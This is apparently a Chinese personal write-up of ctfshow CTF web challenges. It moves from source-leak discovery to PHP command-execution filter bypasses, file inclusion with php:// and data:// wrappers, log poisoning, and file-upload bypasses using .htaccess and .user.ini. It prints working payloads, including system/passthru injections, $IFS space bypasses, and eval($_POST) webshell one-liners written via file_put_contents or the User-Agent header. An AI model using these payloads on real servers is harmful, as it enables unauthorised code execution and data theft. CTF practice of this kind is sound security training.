ctfshow刷题
信息收集:
web(1)
藏在注释里面
web(2)
用 插件禁用js 然后在查看源代码 或者Ctrl+u也行
web(3)
我们来查看源码,发现什么都没有,所以我们需要转变思路,看看请求包和响应包,然后我们就在响应包中发现了flag
web(4)
这次还是一样的提示,在请求包跟响应包也没有flag
看到提示 robots文件是一般管理员的备份文件,说不定flag就在里面
我们访问robots.txt
在访问这个文件flagishere.txt
web(5)
phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。
访问index.phps,就会自动下载了,在里面就有flag
web(6)
上一道题是源码泄露,这一道看提示,也像源码泄露
常见备份文件名后缀:
1 | .index.php.swp |
web(7)
版本控制:版本控制系统是一段时间内帮助跟踪代码中的更改的软件。 当开发人员编辑代码时,版本控制系统会为文件拍摄快照,目前开发人员都有通过git进行版本控制的习惯。
在发布代码的时候, .git 这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。
所以我们就来访问一下.git目录
web(8)
与上面一样 SVN也一个开放源代码的版本控制系统,同样的也容易不小心发布出去
web(9)
知识点:当运维人员在Linux生产环境下使用vim/vi修改文件时,发生意外时会产生一个后缀为.swp的隐藏文件,第二次意外退出的时候生成的备份文件后缀为:.swo;第三次意外退出的时候生成的备份文件后缀为:.swn
web(10)
有提示,flag在cookie里面 我们打开F12,在存储里面可以看到cookie
web(11)
说实话一开始题目都没看懂是什么意思,看了别人的wp之后
1 | 知识补充: 查询域名解析地址 基本格式:nslookup host [server] |
这个题目主要是想让我们了解到域名解析的查看方式
域名解析
域名解析是将域名转换为IP地址的过程,使得用户能够通过域名访问互联网资源。这个过程涉及到几个关键的概念和步骤:
1. 域名系统(DNS)
域名系统(DNS)是一个分布式的数据库,用于将域名转换为IP地址。它类似于一个互联网的“电话簿”,可以让你通过域名找到服务器的IP地址。
2. DNS 记录类型
- A记录(Address Record): 将域名映射到IPv4地址。
- AAAA记录: 将域名映射到IPv6地址。
- MX记录(Mail Exchange Record): 定义用于接收电子邮件的邮件服务器。
- CNAME记录(Canonical Name Record): 别名记录,将一个域名指向另一个域名。
- NS记录(Name Server Record): 指定负责管理该域名的DNS服务器。
- TXT记录(Text Record): 可以存储任意文本信息,常用于验证域名或配置电子邮件系统(例如SPF记录)。
3. 解析过程
- 用户请求: 用户在浏览器中输入一个域名,例如
www.example.com
。 - DNS查询: 浏览器首先会检查本地缓存是否有该域名的IP地址。如果没有,浏览器会向本地DNS解析器发送查询请求。
- 递归查询: 本地DNS解析器会开始递归查询,首先查询根DNS服务器,然后查询顶级域(如
.com
)的DNS服务器,最后查询权威DNS服务器来获取实际的IP地址。 - 返回结果: 权威DNS服务器返回域名的IP地址给本地DNS解析器,本地DNS解析器将结果返回给浏览器。
- 访问网站: 浏览器使用得到的IP地址与目标服务器建立连接,加载网页内容。
web(12)
提示
找了半天没找到登录在哪,所以我们来扫一下目录,发现有个admin,我们去访问admin目录
密码就是
web(13)
找到这个document
web(14)
把里面能点的,都先点了一遍,没有什么发现,就开扫
题目中也有提示
它这个就直接进入了根目录下,然后我们在var/www/html/nothinghere/fl000g.txt 找到了flag 因为当前目录在html目录下,所以我们直接去nothinghere/fl000g.txt访问就可以拿到flag了,
web15
接着放回登录就行了,用户名为admin
、
爆破
web(21)
命令执行
web(29)
tac 查看可以使用*进行模糊匹配
tac fla*->tac flag.txt
背景知识
拿到题目,可以看到通过eval函数可以执行php代码或者系统命令,其中过滤了flag。
$_GET[c]的意思是我们输入c参数; pregmatch是正则匹配是否包含flag,if(!preg_match(“/flag/i”, $c)),/i忽略大小写,如果输入参数中不包含flag的大小写,则进入if判断内部。 还有/m等参数表示多行匹配,具体可以参考这里:https://www.php.cn/php-weizijiaocheng-354831.html
eval($c);就是本题的漏洞点 ,这个之前的输入过滤太简单了。eval内执行的是php代码,必须以分号结尾。eval和其他函数的对比可以参考这里:https://blog.csdn.net/weixin_39934520/article/details/109231480
分别以如下方法尝试拿到flag:
1、直接执行系统命令
?c=system(“tac%20fla*”); 利用tac与system结合,拿到flag
因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system(“ls”); 来查看到底在哪里。
2、内敛执行 (反字节符)
?c=echo%20tac%20fla*
;
注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,`反字节符,是键盘左上角与~在一起的那个。
3、利用参数输入+eval
?c=eval($_GET[1]);&1=phpinfo();
试一下,没问题,可以看到phpinfo的信息。 然后就使用?c=eval($_GET[1]);&1=system(ls);看一下当前目录都有什么,也可以?c=eval($_GET[1]);&1=system(“ls%20/“);看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为system的参数必须是string。
4、利用参数输入+include
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
(参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)
也可以尝试写入木马 file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);
访问alb34t.php,然后就可以连马。
5、利用cp命令将flag拷贝到别处
?c=system(“cp%20fl*g.php%20a.txt%20”);
然后浏览器访问a.txt,读取即可。
web(30)
web(31)
$要进行转义
上传参数c,并对参数c进行一次过滤,将c中的flag|system|php|cat|sort|shell|.| |’字符串过滤掉,不区分大小写,然后执行c的值。
与上一题对比,多过滤了cat,sort,shell,点,空格和单引号。其中cat,sort可以用tail,tac,nl等代替,过滤了shell,则shell_exec用不了了,可以使用反引号,passthru,单引号可以用双引号代替,至于空格,可以使用%09、$IFS$9、${IFS}代替,过滤的flag,php,点,可以用通配符或?代替.
先url/?c=passthru(“ls”);一下,看看当前目录下有那些文件,页面输出了flag.php index.php 很明显,flag应该就存储在flag.php中,payload如下:
url/?c=passthru(“tac%09fla“);
url/?c=echotac%09fla*
;
url/?c=passthru(“tac$IFS$9fla*”);
url/?c=passthru(“tac${IFS}fla*”);
注意:上面的$需要用反斜杠进行转义
空格绕过见:https://blog.csdn.net/m0_56059226/article/details/117997472
也可以嵌套eval绕过
url/?c=eval($_GET[“code”]);&code=system(“tac flag.php”);
还可以这么构造payload,如下:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
具体解释见https://blog.csdn.net/qq_38154820/article/details/107171940
web(32)
我们看到连分号都过滤了,所以一般的方法是过不去的,eval会讲字符串当作php代码执行的。
1 | ?c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php |
骚姿势,利用include函数包裹$_GET[1],在进行参数逃逸,利用伪协议对flag.php进行读取
web(33)
1 | ?c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php |
payload还是一样 没有影响
web(34)
还是一样
web(35)
文件包含
web(78)
看到include函数就很明显了,就是文件包含,但是直接包含flag.php是出不来的
本题没有过滤,所以有三种方法:
data伪协议(推荐,可以使用ls命令查看flag位置)
?file=data://text/plain,<?php system("ls")?> ?file=data://text/plain,<?php system("tac flag.php")?>
1
2
3
4
5
- fliter伪协议(不推荐,不知道flag在哪时不好用)
- ```php
?file=php://filter/convert.base64-encode/resource=flag.php
日志包含(推荐,伟大无需多言)
?file=../../../../var/log/nginx/access.log <?php eval($_POST[a]); ?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
我这里就直接使用伪协议了

### 日志包含:
日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。
apache服务器日志存放文件位置: /var/log/apache/access.log
nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log
由本地日志文件可以看到nginx服务器中记录的是每次请求user-agent报文,那么我们可以通过包含nginx'服务器的日志文件,然后在user-agent服务器中写入木马语句进行注入

我们知道,在被文件包含之后,是会解析php文件的,同时如果在**User-Agent**没有做严格的过滤限制,那我们就可以在**User-Agent**中写入我们的一句话木马,达到恶意攻击的目的
## web79

### str_replace
```php
$file = str_replace("php", "???", $file);
这个就是将$file变量中的php替换为???
在 PHP 中,str_replace
函数对大小写是敏感的。这意味着它只会替换完全匹配的字符串,包括大小写。
还是没有对User-Agent进行限制,所以我们还是可以进行日志注入
也还可以使用data伪协议
还可以使用php://input
这是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据,当enctype等于”multipart/form-data”时php://input是无效的。
php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容,从而导致任意代码执行。
总之就是我们当我们使用这个伪协议的同时使用post传入一段php代码,因为这个伪协议的原因,这段代码会被解析
web(80)
虽然这个题目对data进行了过滤
这道题还是没有对User-Agent进行过滤,所以还是可以进行日志过滤
也可以使用php://input伪协议
web(81)
连冒号都过滤了,就日志注入吧,可以使用
web(82)
文件上传
web(151)
在我们选择一个php文件直接上传的时候,它就直接弹窗了,这个时候我们可以先该后缀在抓包改回了,或者直接禁用js就行了(这个时候要看他上次代码是怎么写的,禁用js也可能导致无法上传文件)
所以在这里我们就不能简单的禁用js了,那就改后缀上传吧,这个题目只能上传png文件的格式
web(152)
这个题目应该是对Content-Type文件类型进行过滤,但是我是直接上传png文件,格式九不用我们换了,只需要抓包改变一下后缀就行了
Content-Type: image/png
web(153)配置文件上传
这个题目只能上传png文件的格式,但是这个是前端校验,我们上传后改包发现php后缀被后端检测了,然后用字典跑了一下关于能被解析为php的后缀,都已经被过滤了或者是解析不了
这个时候就可以试试配置文件上传,因为他还只是黑名单禁用,而不是白名单过滤
在这里重点介绍一下配置文件:
.htaccess文件
https://cloud.tencent.com/developer/article/1944149
在apache服务器下会存在一个.htaccess文件,但是如果在当前目录下存在一个.htaccess将会优先调用这个配置文件(只适用于apache服务器)
1 | <ifModule mime_module> |
1 | <FilesMatch "shell"> |
.user.ini
https://www.cnblogs.com/sijidou/p/13121301.html
这个配置文件就相当于一个文件包含,它可以把被包含进去的文件当作php文件进行解析
有2个属性,它们的作用是,auto_append_file
在php
文件最后用require
包含进指定文件,auto_prepend_file
则是在php
文件代码执行前用require
包含进指定的文件
1 | //.user.ini |
web(154)
这一个题目就是还是在上一个题目的基础中,增加了一个文件内容检测,文件内容中过滤了php关键字
1 | eval($_POST[1]); echo 123; @ |
我们可以利用短标签绕过,这样就不会出现php关键字了,打印123 主要是因为看看PHP代码是否被解析
web(155)
这题不知道加了什么,用上一题的payload就可以绕过